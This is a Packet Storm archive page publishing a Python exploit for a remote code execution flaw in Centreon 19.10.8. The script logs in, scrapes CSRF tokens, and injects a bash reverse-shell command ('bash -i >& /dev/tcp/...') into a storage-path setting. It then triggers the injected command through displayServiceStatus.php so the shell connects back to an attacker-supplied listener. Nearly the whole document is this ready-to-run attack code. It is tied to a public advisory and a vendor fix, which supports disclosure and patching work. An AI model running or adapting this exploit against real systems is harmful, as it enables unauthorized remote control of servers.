what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Centreo 19.10.8 Remote Code Execution

Centreo 19.10.8 Remote Code Execution
Posted Mar 26, 2020
Authored by Engin Demirbilek

Centreo version 19.10.8 suffers from a DisplayServiceStatus remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 8a718bebfcc5413c346b04bb287ec94268a6716395780bbb22d8d703a9c80a25

Centreo 19.10.8 Remote Code Execution

Change Mirror Download
# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
print("[+] Logged In, retrieving second token")

page = url + "/main.get.php?p=50118"
second_token_req = req.get(page)
response = second_token_req.text
s = BeautifulSoup(response, 'html.parser')
second_token = s.find('input', {'name':'centreon_token'})['value']

payload = {
"RRDdatabase_path": "/var/lib/centreon/metrics/",
"RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
"RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
"reporting_retention": "365",
"archive_retention": "31",
"len_storage_mysql": "365",
"len_storage_rrd": "180",
"len_storage_downtimes": "0",
"len_storage_comments": "0",
"partitioning_retention": "365",
"partitioning_retention_forward": "10",
"cpartitioning_backup_directory": "/var/cache/centreon/backup",
"audit_log_option": "1",
"audit_log_retention": "0",
"submitC": "Save",
"gopt_id": "",
"o": "storage",
"o": "storage",
"centreon_token": second_token,


}
print("[+] Sendin payload...")
send_payload = req.post(page, payload)

trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
print("[+] Triggerring payload...")
trigger = req.get(trigger_url)

print("[+] Check your listener !...")

else:
print("[-] Wrong credentials")
exit()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close